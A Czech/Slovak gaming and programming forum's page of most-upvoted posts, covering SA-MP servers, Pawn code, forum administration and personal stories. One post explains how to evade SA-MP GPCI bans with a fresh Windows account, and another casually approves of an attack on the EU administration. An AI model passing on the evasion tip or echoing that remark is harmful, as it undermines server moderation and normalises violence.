Jump to content

Žebříček

Populární obsah

Showing content with the highest reputation since 10/23/19 in all areas

  1. Zdravíčko přátelé, přeji vám všem krásné vánoce a vše nejlepší do nového roku 2021 Máme za sebou poněkud splašený rok, a kvůli této situaci se hodně lidí ocitlo v tíživé situaci jak finanční, či rodinné. I mě jako živnostníka a majitele firmy to neminulo a od léta jsem se musel hodně otáčet, abych firmu nepoložil (klienti, se kterými jsem zvyklý pracovat, najednou začali šetřit). Proto jsem neměl dostatek času věnovat se fóru a jeho růstu, či proměně. Všichni členové týmu měli naprosto volné ruce, mohli měnit co se jim zlíbí. @Lucifer Morningstar dostal do rukou kompletní přístup k běžícímu VPS, @Ewwe na nás bohužel také nemá dostatek času a @vEnd začíná prohlašovat, že je potřeba nabrat nové lidi do týmu (kteří se budou aktivně věnovat dění na fóru), protože celý moderátorský tým se tu ochomítne jednou za týden. Herní Servery Mnoho lidí psalo mně i dalším zprávy s dotazy ohledně herního serveru. Za úkol zprovoznit Minecraft server to dostal @Lucifer Morningstar - VPSko už běží druhý měsíc a server stále nemáme (částečně se chvilkama čekalo i na mě). V tuto chvíli se VPSko reinstaluje z Cent OS (který Spy odsoudil, kvůli končící podpoře a stejně mě "zaúkoloval" s přehozením) na Ubuntu. Až se to dotáhne (při předpokladu, že do té doby neupadnu do spánku), tak tam sám nahodím jednak Minecraft server v základu, ale také pár dalších retro her - počínaje CoD2, či právě i SA:MP a uvidíme o co přesně byste měli zájem. Abychom nabídli něco originálního, jiného a nového tak servery poběží na základní nastavení - s tím, že tu na fóru se zřídí nějaká sekce, do které kdokoliv může postnout požadavek na instalaci jakéhokoliv kódu / addonu / módu. Celý proces vypilujeme za pochodu - zkusíme hlasování, manuální schvalování apod. Detaily čekejte v podrobnějším topicu zaměřeném na toto téma exkluzivně. Tým @vEnd Žádal o kompletní obměnu moderátorského týmu (včetně něj). Nakonec jsme to politicky ufackovali jen na nový přírůstek - někdo kdo je tu pravidelně, je aktivní a má zájem se podílet na rekonstrukci komunity. Také bych chtěl apelovat na všechny zkušenější, kteří tu s námi ještě jste - vytvořte nám nějaký content, návod, příspěvek. @Lucifer Morningstar přislíbil seriál na téma Linux a já se chystám na game-dev a hardware sérii. Jenže jsme jen dva a já věřím, že je tu více lidí, kteří by rádi postavili fórum zase na nohy Reklama Možná jste si všimli nových přírůstků mezi registrovanými členy Reklamy sice neběží na plný výkon (jako na jaře), nicméně budget je alespoň na nějakém minimu, který to udržuje + se snažím propagovat fórum i v osobních kruzích. Takže doufám, že jsme nováčkům pomohli a ještě jim mnohokrát budeme ku pomoci Další kroky V tuto chvíli je hlavním cílem mise, zajistit se na finanční krizi. Proto nebudou ani v dalších několika měsících probíhat významnější investice - pojede VPS na herní servery, reklama v nějakém menším budgetu, stále budeme bez download sekce a aktivita našich mužů nebude taková jaká by měla být. Já věřím, že to všichni pochopíte - jsme už dospělí lidé, někteří z nás mají už své rodiny. Jakýkoliv vývoj, kterýmkoliv směrem se budu snažit filtrovat do nějakého nového vlákna, kde popíšu jaká je situace, co se děje a co se dít bude. V tuto chvíli se řeší stavba herních serverů (Minecraft, CoD2, SA:MP), můžete již teď začít podávat návrhy na instalaci skriptů a obsahu, který na serverech chcete. Detaily dořešíme později Až se rozběhnou servery, dotáhneme ten problém s aktivitou v našich řadách a obnovíme reklamu. @Lucifer Morningstar se SNAD dostane k nějakému tomu návodu. Já určitě také něco sepíšu. Děkuji vám všem Rád bych poděkoval hlavně našemu moderátorskému týmu! Ti kluci jsou tu už takových let, nikdy za svou práci neviděli ani halíř, natož kolikrát poděkování. Proto bych jim rád poděkoval jak osobně, tak i nějakou revanží. Buďme prosím rádi za jejich služby a za to, že to fórum drželi a drží tak dlouho A i vám všem ostatním přeji veselý start a úspěšný rok 2021, který nám již klepe na dveře. Věřím, že už se vyhrabeme z nesmyslných opatření a začneme zase znovu budovat hodnoty, které jsou naší vizí.
    12 points
  2. Po zahlédnutí prvního topicu na toto téma (cca květen tohoto roku) jsem se rozhodl diskuzi ignorovat, protože mi přišla více než zbytečná. Dnes si znovu procházím fórum a jen bych chtěl za sebe uvést některé věci na pravou míru (na tom, že je téma zbytečné si stále stojím). Již tehdy jsem si zjišťoval veškeré informace a dal jsem si tu práci kontaktovat přímo majitele ROSA. Pardon jestli se pletu, ale mě nikdo nekontaktoval Nechci se tady nad nikoho povyšovat, ale Honza stál u založení avšak byl to jen pawner, který po krátké době odešel stylem vybanování serveru (viz. moje citace a Honzova zpráva kterou přiložil výše ATomas). Proto cokoliv si "komunikoval" s Honzou, tak bych rovnou vypustil z hlavy, jelikož sám byl u chodu serveru dohromady ani ne polovinu času, co server běžel. Pokud si chtěl info, tak si kontaktoval špatnou osobu. Navíc mu v jeho příběhu chybí některé období jako například, že po jeho podrazu jsem server dal do pořádku a stále provozoval až do doby, než zamnou přišel s prosíkem (stejně jako za ATomasem), že by se chtěl znovu podílet na vývoji. To by asi majitel nedělal, nepletu se? Každopádně jsem mu již nevěřil a když viděl, že mu mód nepošlu, tak to vzdal + jak uvádí, že napsal 95% kódu, tak mu nedochází, že já sám pokračoval 3-4 roky ve vývoji (i když uznávám že posledního cca půlroku skoro nulově). Ale to jsem jen chtěl objasnit některé věci. (Dodnes jsem jediný, kdo má poslední hranou .pwn verzi módu.) Jediný, kdo kontaktoval majitele serveru a módu RoSA byl ATomas, který mi formou SZ zde na pawnu napsal, a s kterým jsem si probral některé věci. Server vybanoval a hráče na SP směroval Honza, ale poté jsem server znovu dal do pořádku a dál ho do roku 2018 provozoval, než jsem ho sám osobně vypnul i kvůli mé časové vytíženosti. Není co víc k danému tématu vyřešit.
    11 points
  3. Ahoj. Rád bych zde odprezentoval své nové video ze hry GTA V a to konkrétně "kooperativní" stunt movie, které jsem vytvořil společně s kamarádem. Snad se bude páčit.
    8 points
  4. Dlouho jsem přemýšlel co zajímavého bych zde mohl sdílet. Můj profesní život jsem zabrzdil s příchodem covidu. Vždy jsem se pyšnil svou praxí, začínal jsem jako mechanik náklaďáků, přešel na bachaře ve věznici, poté jsem žil pár měsíců v anglii, po návratu jsem začal fungovat jako specialista sítí pro lokálního velkého ISP, přeskočil jsem na technického ředitele v malé firmě, utekl jsem do živnosti a ze živnosti pak do velkého automotive korporátu jako IT specialista, kde jsem teď. Programování bylo vždy takový side-quest - který občas nesl velké šťavnaté ovoce, jindy vytvářel stres a chaos. Dnes dodělávám několik posledních placených projektů a končím. Poté se již budu věnovat jen osobním projektům. Jednak z důvodu mého nesouhlasu s tím, jakým směrem se programování a obor s tím spojený ubírá a druhak jsem dosáhl bodu absurdního vyhoření - za nízkou cenu velké projekty, za větší cenu žádné projekty. A ta nejistota a finanční nestabilita, nemluvě o stavu a složitostí zákonů a právních záležitostí, to je konstantní generátor stresu. Dlouhou dobu jsem jen pracoval, od rána do noci. Spal jsem 2 až 4 hodiny denně a pracoval nejméně 16. Nedávno jsem podstoupil banální, ale potřebnou operaci, a v průběhu hospitalizace jsem měl čas přemýšlet. I když mé know-how má svoji cenu, která není úplně malá - nemám to jak prodat a nejsem obchoďák. Pokud člověk nedělá pro IT firmu, tak je jednočlenná IT firma a ta dnes nemá na trhu moc šanci. Po 4 letech fungování jako jednočlenná firma jsem tedy přehodnotil svoje priority a postupně přesouvám své snahy do věcí smysluplnějších. Před rokem se ze mě stal táta, od té doby jsem mnoho své aktivní energie přesunul z nočních klávesnicových seancí do výroby dětské radosti. A do toho kluka a i do mé ženy hodlám investovat nejvíce volného času. Protože to jsou hodnoty, které pro mě mají cenu, moje milníky, které chci tlačit neustále kupředu, výš a silněji. Finance byly, nějaké jsou a určitě nějaké i budou. Rodina je jenom jedna a je velmi snadné o ni přijít.
    7 points
  5. Děkuji, zejména proto, že v dnešní době je těžké najít někoho slušného, zejména na fórech v mé zemi
    7 points
  6. Normalne konecne zaujimava tema, az som sa sem po dlhych rokoch musel znova registrovat. Ak si spravne pamatam, tak hash ktory vrati gpci, neni cesta v Program files (ta je snad vzdy rovnaka), ale je to cesta k GTA San Andreas User folderu, coz je nekde v C:/Users/username/Documents/GTA San Andreas... Takze ak je moj Windows username napr. "honza", tak je velmi vysoka sanca ze sa jeho gpci bude zhodovat s niekym inym - pretoze milion dalsich ludi ma rovnaky Windows username. tl;dr aby sa clovek dokazal vyhnut banu na gpci, na 90 percent pomoze vytvorenie noveho accountu vo windows a nainstalovanie GTA SA tam. Ale inak velke servery na toto maju zvycajne este aj nejake dodatocne checky, takze to co nazyvas ty "HW" ban, je len kombinacia locknuteho uctu, GPCI checku, klasickeho banu na IP a pripadne ešte nejakych dalsich checkov - za mojej ery to takto fungovalo - a prekvapivo celkom stabilne.
    6 points
  7. Úvod Už nějaký ten pátek dělám na tomto módu přesněji od 24.3.2020 kdy jsem se rozhodl že se trochu ponořím do pawna. Beru to spíš jako koníček co mě baví ne jak někteří co dělají mód ve stylu hop šup udělám to co nejrychleji, nasypu tam totálně broken coin systém ať vydělám love a vypnu server, takhle teda ne. Popravdě zatím vám nemůžu oznámit že bude nějaké otevření jde čistě o ukázku módu, co obsahuje atd. Chci vám tedy představit Hood Life Roleplay zkráceně HLRP, jde o lowrp mód se kterým si dávám dosti záležet. Půjde jak už z názvu můžete usoudit o téma "hoodu/ghetta" kde budete přežívat, vydělávat, užívat si zkrátka to co mód nabízí. Hlavní roli bude taky hodně hrát těžká ekonomika takže pokud budete chtít vlastnit něco cool tak to zabere nějakej ten čas, zkrátka to nebude že "jou za den mám barák a auto". Ze začátku/prvních pár dní budete mít možná tak kolo a byt v bytovce na pár dní. Zásadně nechci dělat nějaký P2W systém který vám lusknutím prstů vytvoří vilu a llamborghini, jen tak pro info. Ještě sem později něco víc napíšu zatím to stačí. ...wip... Informace SAMP verze: 0.3.DL / Verze GM: 0.2.4 (closed beta) / Developer: M1KE / Částečná výpomoc(mapping atd): Paule,Nass,W1lly,monkys Ukázka Novinek btw není tu zapsáno/ukázáno úplně všechno co bylo přidáno nebo změněno 6.6.2020 [v 0.2.6] [NEW] 10.5.2020 [v 0.2.4] 6.5.2020 Původní základ
    6 points
  8. Zdravím vás, po delší odmlce, ze zdravotních důvodů a poté částečně z rodinných a profesních důvodů, jsem tu zpět s dalším progressem. Jak bylo slíbeno, tak bylo dříve i založeno a dnes představuji transparentní účet pro účely chodu a rozvoje fóra. Prostředky budou využity pro chystaný prize-pool, update fóra, reklamu a další chystané akce v rámci Pawno.cz Odkaz: https://ib.fio.cz/ib/transparent?a=2102236144 Číslo účtu: 2102236144/2010 IBAN: CZ4520100000002102236144 BIC: FIOBCZPPXXX Banka: Fio banka, a.s., V Celnici 1028/10, 11721 Praha 1 Jedná se o dobrovolný příspěvek pro chod fóra, pokud si svůj příspěvek rozmyslíte, do měsíce mi dejte vědět a vrátíme vám peníze zpátky. Veškeré odchozí platby se zavazuji pečlivě popsat a definovat k čemu jsou využity Fio banka mi bohužel nedovolila účet přejmenovat, název je vázaný na mé jméno a pro vlastní název by fórum muselo figurovat jako s.r.o. (tak možná časem )
    6 points
  9. Zdravím, po letech strávená na SA-MP jsem se rozhodl posunout SuperPařbu i na FiveM. Zde trailer
    6 points
  10. Já bych hlasoval o to, aby EU nic neregulovala, protože všechno jenom jebe... To je takhle a ona regulace, člověk se v tom ztrácí a pak zjistí, že si musí kupovat extra kabel, protože EU zakazuje prodej mobilu s nabíječkou - ne nezakazuje prodávat nabíječky, ale prodej nabíječky s telefonem. Třeba automobilovej průmysl je na hranici fyziky. Objem 1cmm by podle nich měl utáhnout nákladní vlak a ideálně aby spotřeba byla 0.1l/100km. Zakáže prodávat pomazánkové máslo protože to není máslo, rum protože to není rum. Brčka protože plast je rakovina a papír je v pohodě. (Udělal jsem si zásobu brček než se uplně přestanou prodávat, doporučuji všem. A takhle by se dalo pokračovat. Nejsem pro vystoupení z unie, ale atentát na ten ouřad bych schvaloval. Až bude trochu méně vymejšlet kraviny, tak možná změním postoj.
    6 points
  11. Ahoj, jelikož jsem měl teď menší zkušenost s tím, že lidé moc neznají git nebo jakýkoliv jiný verzovací systém, tak se chci zeptat, kolik lidí co zde programuje nebo se učí nebo jen tak něco zkouší, tak používá verzovací systém? Na základě ankety bych zde případně udělal návod na verzovací - co to je, k čemu to je dobré a základní ovládání.
    6 points
  12. Ahojte. Na základe nedávneho príspevku som sa rozhodol spraviť include na čítanie a zápis dát. Tento include vyžaduje mať nainštalovaný plugin PawnPlus <- LINK Prečo? V scripte sú použité utriedené mapy pre optimalizáciu hľadania údajov. Prejdeme teda na použitie. Toto vložíme na začiatok vášho GM - načíta tento include do vášho GM #include <fSystem> Takto otvoríme súbor: Obsah súboru sa uloží do pamäte a je možné ho modifikovať až do doby, než súbor zatvoríte. V prípade že súbor neexistuje, vytvorí sa. new subor = DataOpen("test.txt"); // trva asi 700 tickov ak je v subore 100 000 dat // new subor obsahuje identifikator nasho suboru ktory sa pouziva vo funkciach Uložíme dáta do súboru: Maximálna dĺžka kľúča je 24. Dáta sa neuložia hneď, ukladajú sa až pri zatvorení súboru. Dáta sú ihneď dostupne, nie je potrebne zatvárať súbor, avšak bez zatvorenia súboru sa dáta neuložia! // pre demonstraciu sa ulozi 100 000 dat do suboru - pri testoch cca do 250 tickov (GetTickCount) new kluc[25]; for (new i = 0; i < 100000; ++i) { format(kluc, sizeof(kluc), "riadok%d", i); DataSetS(subor, kluc, "ahoj"); // ulozi string/array // DataSet -> ulozi integer (new) // DataSetF -> ulozi float } // kluc -> kluc pod ktorym sa ulozia nase data "ahoj" Načítame dáta zo súboru: Maximálna dĺžka kľúča je 24. // pre demonstraciu precitame 100 000 udajov, trvanie asi 150 tickov new kluc[25]; for (new i = 0; i < 100000; ++i) { format(kluc, sizeof(txt), "riadok%d", i); DataGetS(subor, kluc)); // nacita string/array // DataGet(subor, kluc) -> nacita integer // DataGetF(subor, kluc) -> nacita float if (i % 1000 == 0) { printf("%d -> %s", i, DataGetS(tst, txt)); } } Zatvoríme súbor: Pri zatvorení súboru sa ukladajú dáta do súboru. DataClose(subor); Ak chceme zatvoriť všetky súbory: DataCloseAll(); Na záver by som chcel požiadať o spätnú väzbu, či už kladnú alebo nie, vždy však poprosím aj nejaký popis. Poznámka: Odporúčam použiť novšiu verziu prekladača (napr. 3.10.0.0) fSystem.inc
    6 points
  13. Jestliže se mi to povede, tenhle topic by měl vyjít přesně na nový rok... (Skoro, o jednu minutu, sakra...) Happy New Year.
    6 points
  14. Zdravím, rád bych se podělil o můj nález alternativy na dnes již bohužel nefunkční wiki.sa-mp.com. Myslím si, že je to dost podobné :-) https://sampwiki.blast.hk/wiki/Main_Page nebo taky https://open.mp/docs Mějte se krásně! Josef
    6 points
  15. Zdravím přátelé, zase jsem narazil na zajímavý kousek kódu (evidentně již celkem profláknutej kousek kódu), který byl proslaven hrou Quake 3 Arena. jedná se o extrémně rychlou funkci pro výpočet Která v klasické funkci není přímo lehká pro výpočet (škodlivá pro time budget procesoru). Nicméně kdysi dávno ještě před Johnem Carmackem a Quakem se objevil kdosi jménem Greg Walsh, který s touto magií přišel nejspíše první a trochu zachránil svět 3D grafiky v dobách, kdy zobrazení beztexturové krychle na obrazovce trvalo dvě a půl vteřiny. K čemu se tato funkce vůbec využívá a proč to byl takový hit 3D světa? Protože zrovna tato funkce je zásadní pro výpočet kolmic povrchů 3D objektů, zastoupené 3D vektory o délce 1, pro vyjádření osvícení a odrazů. Těchto výpočtů probíhá spousta najednou a jejich výpočet zahrnuje normalizaci velkého množství vektorů. A jak se normalizuje vektor? Zjistíš délku vektoru a vydělíš s ní každou jeho část (x,y,z) - tedy vynásobíš každou část formulí: Výpočet samotného x2 + y2 + z2 je relativně rychlý a jednoduchý. Hledání odmocniny a její využití v dělení je náročné. Originální funkce z Quake III Arena: float Q_rsqrt( float number ) { long i; float x2, y; const float threehalfs = 1.5F; x2 = number * 0.5F; y = number; i = * ( long * ) &y; // evil floating point bit level hacking i = 0x5f3759df - ( i >> 1 ); // what the fuck? y = * ( float * ) &i; y = y * ( threehalfs - ( x2 * y * y ) ); // 1st iteration // y = y * ( threehalfs - ( x2 * y * y ) ); // 2nd iteration, this can be removed return y; } Jedná se o malou a velmi efektivní rychlou super funkci. Na první pohled nás nejspíš všechny zaujal řádek "what the fuck?" - jedná se právě o to kouzlo celé funkce. Greg totiž přišel na způsob jakým efektivně napodobit matematickou funkci log2 , která se využívá při výpočtu "náročným" způsobem a kompletně ji obešel (tím odlehčil náročnost na výpočet). Kompletní matematické rovnice vám nevysvětlím já, nýbrž je najdete v přiložených zdrojových dokumentech, ve kterých jsem čerpal (ale je to fakt advanced shit, ne-matikářům to zruší hlavu). Co se ve funkci vlastně tedy děje? Do proměnné x2 si uložíme polovinu z čísla Do proměnné y zkopírujeme naše číslo Změna typu čísla z float na integer (odstranění desetinné čárky na bit-levelu bez ztráty mantisy) Posunutí bitů integeru o 1 doprava (bit exponentu se přesune do mantisy) a výsledek se odečte od magic konstanty Přetypování zpět na float Dovýpočet přesnosti pomocí Newtonovi metody (1 iterace) (případná druhá iterace pro ještě přesnější výsledek) Jak přesně funguje float na bit-levelu? Float na bit-levelu má tři části - sign, exponent a mantissa. Sign určuje znaménko čísla (pozitivní nebo negativní číslo). Exponent může být pozitivní i negativní, na bit-levelu je ale uložen jako unsigned (to je určeno pomocí sign části floatu). Hodnoty všech nul jsou rezervované pro nulové nebo neexistující výsledky a hodnoty všech jedniček jsou rezervované jako reprezentace nekonečna nebo neznámého. Mantisa je signifikantní číslo, které po umocnění exponentem, představuje uloženou hodnotu (první bit se neukládá - předpokládá se, že je vždy 1) Bit shift operátor v tomto případě posunul jeden bit exponenta do mantisy a tím efektivně celé číslo vydělil 2. Poté odečítáme celé číslo od konstanty, která jako zázrakem vytvoří z našeho čísla relativně přesný odhad výpočtu odmocniny. Nikdo už se neshodl jakým způsobem bylo původní číslo nalezeno, nicméně existuje několik metod k nalezení toho nejlepšího (podrobnosti v odkazech na zdroje). I když je tato funkce v moderní době irelevantní (moderní procesory a mikročipy se naučili pracovat s floating-point čísly efektivněji), její rychlosti se dalo využívat až do začátku 21. století, kdy už výkon floating-point logiky dohnal výkon integer výpočtů. Ale do té doby to byl nejlepší algoritmus v 3D grafice. Zdroje: https://en.wikipedia.org/wiki/Floating-point_arithmetic https://en.wikipedia.org/wiki/Fast_inverse_square_root http://h14s.p5r.org/2012/09/0x5f3759df.html (Podrobnější popis celé funkce) http://www.lomont.org/papers/2003/InvSqrt.pdf (Detailní výpočet magic konstanty)
    6 points
  16. https://california-rp.eu https://discord.gg/CdJz6SG
    6 points
  17. RALLY SCRIPT Spolu s tímom C-RP sme v posledných dňoch pracovali na novej feature využiteľnej napríklad pri eventoch a to rallye tuning vozidiel - pridáva 4 upravené vozidlá (Landstalker, Blista Compact, Sultan, Club) ktoré sú vybavené na jazdu rallye. Script zahŕňa rôzne funkčné objekty na aute (polepy od sponzorov, lampy) ktoré fungujú rozlišne podľa užívateľa a nastavenia administrátorom. Každé vozidlo má jedinečné očíslovanie. V scripte sa nachádza simulovaný efekt streľby z výfuku zachytený na videách nižšie. Všetky objekty a modely (okrem upravených OffRoad kolies, ktoré sú modifikácia) sú na serveri a vidia ich všetci hráči, nevyžadujú žiadne modifikácie. Tento script nájdete po spustení plnej verzie (aktuálne open beta) na https://california-rp.eu
    6 points
  18. Zdravím vás přátelé, poslední týden jsme jednali společně s @lvalenta o prodeji fóra. Tímto bychom rádi oznámili, že prodej je úspěšně zakončený a já tímto oznámením přebírám vlastnictví fóra. Chtěl bych zároveň poděkovat Lukášovi za zachování fóra a této komunity v podobném stavu jako mu ji předal chytrák a nevytvořil z toho žádný komerční produkt zaměřený na výdělek Každopádně, rád bych toto fórum znovu probudil a vytáhl na výsluní stejně jako za dob rozkvětu GTA:SA a s tímto budu potřebovat nejen pomoc admin týmu, ale i vás jako komunity. Určitě nehodlám měnit původní jádro fóra a komunity, ale každopádně budeme muset provést mírnou restrukturalizaci a dodat fóru nový dech a směr. Doufám, že společně fórum opět probudíme a posuneme ho směrem, který jej opět zařadí mezi špičkové komunity nejen programátorského, ale i herního světa.
    6 points
  19. Určitě jste si všimli , že jsme prodělali jakýsi rollback o zhruba rok a půl. Původcem tohoto rolbacku jsem bohužel já. Moc rád bych to měl na koho hodit ale je to má chyba. Co se stalo ? Inu čistil jsem iíspcofig od projektů , které již byli hotové nebo jinak uzavřené a mazal jsem i databáze. Bohužel mezi nimi byla databáze s názvem c4_pawnotemp což byla produkční databáze tohoto webu. Díky přívlastku temp jsem si ničeho nevšiml a pokračoval v mazaní. Dostal jsem se k i mazání záloh ( ktere jsem jinak dělal každé 4 hodiny ) a z lenosti vymazal cely obsah složky ( cca 18,5 TB databázových záloh ) a šel spát. Bohužel druhý den ráno mi Spy donesl tu příšernou informaci o tom , ze forum neběží. Instatně mi došlo co se stalo a kdo za to může ( já ), Snažil jsem se soubory obnovit bohužel provider se do klientských serverů nemontuje tím pádem nedělají ani interní zálohy klientských strojů. Nejnovější zálohu databáze kterou se nám podařilo vyhrabat zde vidíte a je vázaná k datu 18.08.2018. Novější zálohu nikdo z moderátorů bohužel nemá protože spoléhali na mé systémové zálohy. Co je tedy celé co se stalo... Viníkem jsem já a má nepozornost a krátká paměť. Částečně se ještě pokusím fórum zrestaurovat pomocí waybackmachine minimálně po stránce rozložení.
    6 points
  20. Well, jak začít... No tisknu si svojí hvězdnou bránu na 3D tiskárně a přemýšlel jsem, že bych se mohl podělit o poznatky. Nejdříve jsem si udělal monitoring software (odkaz níže) a pak jsem si říkal, že bych se podělil i o progress samotné brány. Tak jsem hledal kam to dát a najednou jsem objevil tuhle sekci a úplně prázdnou. Tak tedy zakládám první topic o mém 3D tisku, budu sem dávat updaty jak pokračuju s hvězdnou bránou. Pro začátek přikládám screen kolik mám dílků a jak to zatím vypadá.
    5 points
  21. Už máme sedm her portovaných i na Android. Šest jich už můžete vyzkoušet (v detailu her jsou odkazy na Google Play) a sedmá - prší čeká na schválení vydání na Google. Včera jsme také spustili Kris Cross a v přípravě je ještě hra Vědomostní Duel - kdy budete soutěžit proti soupeři odpovídáním na různě vědomostní kvízy. Také se musím pochlubit, že díky štědrému sponzorskému daru vyšel taky náš merch, takže máme samolepky, magnetky, pivní podtácky a taky super náramky
    5 points
  22. Zdarec všichni, díky štědrému daru od @DuFF proběhne v příštích dnech velký update fóra - aktualizujeme z verze 4.4 na verzi 4.7. Spolu s tím se bude aktualizovat i šablona a všechny moduly. Pokud půjde vše hladce, aktualizace proběhne za pár minut a fórum bude znovu dostupné do jedné hodiny. Pokud se něco nepovede, fórum by mohlo být nedostupné i celý den až několik dní. Aktualizovat sice budeme nejdřív nanečisto, ale vzhledem k objemu databáze a celého systému se může kdykoliv cokoliv pokazit. Díky za strpení!
    5 points
  23. Ahoj, možná trošku zavádějící titulek ale nic jiného mě nenapadlo. Jde o to že by mě docela zajímalo jestli máte ve své práci nějaký řekněme milníky a jaký mindset máte ohledně posouvání se dál. Mě se podařilo se splnit si několik milníků jak životních tak pracovních a napadlo mě že možná sdílení příběhů různých lidí by mohlo nakopnout ostatní. Já osobně měl několik milníků od doby co jsem začal pracovat jako třeba: 1. vydělaný milion 1 milion ročně 2 miliony ročně 4 miliony ročně 1 milion měsíčně Několik dalších mám ač už jsou možné dost neraálný. Ale to jsou finanční prakticky nic neříkající milníky který jsou pro mě ale lidi z mého okolí o nich třeba ani neví. Další milníky který už jsou takový že o něčem vypovídají a je to takový "flex" v běžný koverzaci jako třeba: Mám barák Mám Teslu Vysněný osmiválec Doplatit mámě hypotéku za její byt ( to už neni nic o čem vyloženě někomu říkate pokud na to nepřijde řeč ) Je podle mě důležitý si takovéhle milníky dávat ať už finanční nebo materiální protože je na tom vidět váš osobní postup a je to takovej stimul toho že jste něco dokázali. Uričitě dosáhnout takových milníků je časově náročný. A ne každý má mindset na a vůli něco takového dělat. Určitě tím neříkám že peníze jsou vše ale dokážou vám hodně usnadnit život. Já za svůj nějvětší úspěch považuji že jsem všechy od-odrážkované milníkdy splnil před 30tkou ( těsně ale stihl jsem to ) sice mě to stálo hromadu času a prakticky jsem nikam moc nechodil a seděl doma a buď se šrotil nebo pracoval. Jsem introvert takže pro mě to nebyl moc problém ale chápu že pro ostatní je to očistec. Taky mi k tomu hrozně moc pomohl paradoxně Covid, kde všichni co měli nějaký obchod nebo něco tak najednou zjistili že nutně potřebujou kanál kterým můžou prodávat i mimo kamennou prodejnu. Celý to sem píšu vlastně i z důvodu že tohle fórum mělo značný vliv na to že jsem se vůbec vydal na tuto cestu a mohl si nastavit tyhle milníky a splnit si vše co chci. Kdybych se sem jako 14ti letý smrad nepřišel učit Pawn tak bůh ví kde bych teď byl. Tady jsem zjistil co mě baví a v čem jsem dobrej. A sám vím že podobně to tu mělo hodně lidí a z mnoha lidí odsud jsou dnes programátoři nebo grafici video editoři a kdo víco dalšího. Nejdůležitější rada kterou můžu dát všem je aby se vyhnuli mindsetu "ale co když". Když sem přijdete a řeknete si že budete programátor a vzadu v hlavě se vám ozve hlásek:"Ale co když se mi to nepovede" nebo "Ale kdo by si mě najal" a podobné další. Osobně znám hromadu lidí kteří tímhle trpí a na jakýkoliv popud oponují přesně slovy "ale co když " , "ale kdo by " atd. Když jsem sem přišel považoval jsem například kamarádův House Systém za boží dílo který bych nikdy nedokázal udělat. Po nějaké době jsem zjistil že je to vlastně hrozně jednoduchý a že je to jen o pár proměnných a pár dialozích. Když jsem dostal zakázku na první mobilní aplikaci tak jsem si říkal že nebudu schopný to dodat. Zkusil jsem si tři různý apky a zjistil jsem že je to hrozně jednoduché. Dneska jich mám za sebou přes 30. Omluvte pokud pata předchází hlavu a celý článek nedává smysl posloupnostně, píšu to tak jak mi to přijde na mysl. Ale doufám že si z toho odnesete motivaci a případně přispějete i s nějakým vaším úspěchem ať namotivujeme další lidi k tomu aby měli nějaký cíl. Pokud naopak nemáte karieristický přístup a stačí vám práce která vás uplně nevysírá a nemáte potřebu mít hromady peněz a rádi žijete minimalisticky přispějte také. Jsme diskuzní fórum tak diskutujme.
    5 points
  24. Zdravím vás přátelé, Jelikož a protože dnes nastala významná situace, která se dotkne celé Evropy, je potřeba udržet si chladnou hlavu. Já osobně od rána sleduji veškeré dění z 10 různých zdrojů a filtruji myšlenkově co potřebuji a buduji si celkový obraz toho co se děje a jak se mě to dotkne. Není však úplně možné ověřovat, konzumovat a vyhledávat každou důležitou (či zajímavou) informaci manuálně celý den - vytvořil jsem si tedy malý nástroj, který mi konzum těchto informací o dost zlehčuje. Chtěl bych vás tímto oslovit, pokud máte schopnosti a chuť, pojďte se podílet na vývoji a zkusme společně vytvořit nástroj široce využitelný nejen pro nás programátory, ale i ostatní uživatele internetu. Nástroj bych chtěl rozvinout do obsáhlejšího formátu v několika řešeních (konzole, GUI a jako službu RSS běžící na VPS). V tuto chvíli mi prozatím dokáže číst jen RSS feedy, ale plánuji do toho narvat i twitter api a web crawlera. Pokud máte další nápady, chcete pomoci s kódem, nebo něco jiného - zapojte se na GitHubu do vývoje - jsem pro každou srandu. Tímto příspěvkem chci vyjádřit i podporu Ukrajinským občanům a vztyčit prostředníček vládě jak ruské, ukrajinské tak i americké a celé evropské unii, protože nikdo nebyl schopný ani ochotný situaci za každou cenu deeskalovat a vyhnout se této absurdně zbytečné válce. Odkaz na repo: https://github.com/ffredyk/NewsTicker Vytvořeno v .NET 5.0 (C# 8.0) IDE: Visual Studio 2019
    5 points
  25. Viem že to tu už bolo (pawno server) a moc to nefungovalo, ale čo takto spraviť server kde budú môcť všetci ukázať svoje výtvory, (mapy, scripty, teleporty, ...) 🗺️🔧🤩 Pridávanie: Proces pridania by mohol byť automatický (prídeš na fórum, uploadneš svoj script (pwn) alebo riadky s objektami. Náš script by to 'zmergoval' z ostatnými ako 1 AMX, a spoločný script so všetkými výtvormi zas reuploadol na server. Konflikt s FS/Objektami: Pred mergovaním by náš script mohol kontrolovať či sú pridávané objekty dostatočne ďaleko od ostatných výtvorov, a tiež či pridávané príkazy už existujú. Hodnotenie: Každý z členov by mohol hodnotiť kliknutím na tie hviezdičky, tým pádom by sa na servere vždy držalo len napr. top 20-30 výtvorov. Ukážka (Snažil som sa urobiť nejaký návrh vo Photoshope ako by to mohlo vyzerať na hl. stránke) 😌 Neviem koľko ľudí z Pawna reálne robí mapy a mal by záujem ich takto prezentovať, ale tento nápad som mal v hlave už dlho tak som sa s ním chcel aspoň podeliť 🙈. Čo sa týka tvorby scriptov a sa-mp server, nemal by som problém pomôcť & hostovať server 💪.
    5 points
  26. Zdravím vás, vážení aktivní uživatelé tohoto fóra Rád bych vás požádal, aby jste si vzpomněli na tuto sekci - jmenuje se "Návrhy na zlepšení a hlášení chyb". Z více kanálu ke mě neustále proudí jakýsi druh dilematu, stížností a otázek ohledně vývoje pawno.cz. Odpověď zní - je to složité. Snažíme se neustále vymýšlet, kam pawno.cz nahnout, do kterého směru zvohýbat tak abychom neporušili zajetou historii (respektive alespoň ne destruktivním způsobem), udrželi zdejší userpool a zároveň přišli na něco revolučního, co by mohlo motivovat diskutující k diskuzi. Na co si vlastně stěžuju já? Na neustálé výpady, dotazy a teď už i několik nabídek na odkoupení podložené stagnací vývoje. Ono v tuto chvíli, už nelze jen slepě přihazovat funkce do systému a doufat, že něco bude použitelné. V momentě, kdy jsem fórum odkoupil já, jsme ho dali do pucu tak jak to jen šlo - máme novou verzi IPB, kompletně předělaný vzhled, jednoduché decentní logo a nikdo si od té doby na ani jeden z těchto prvků nestěžoval. V minulosti na tyto prvky neustále někdo peskoval a teď se nám povedlo je vymazlit tak, že neotravují nikoho! Dnes všichni nadávají na malou aktivitu uživatelů a stagnaci diskuze - tedy na tu část fóra, která neleží na vedení fóra, nýbrž na jeho uživatelích. Další věcí, která mě trápí, je fakt, že 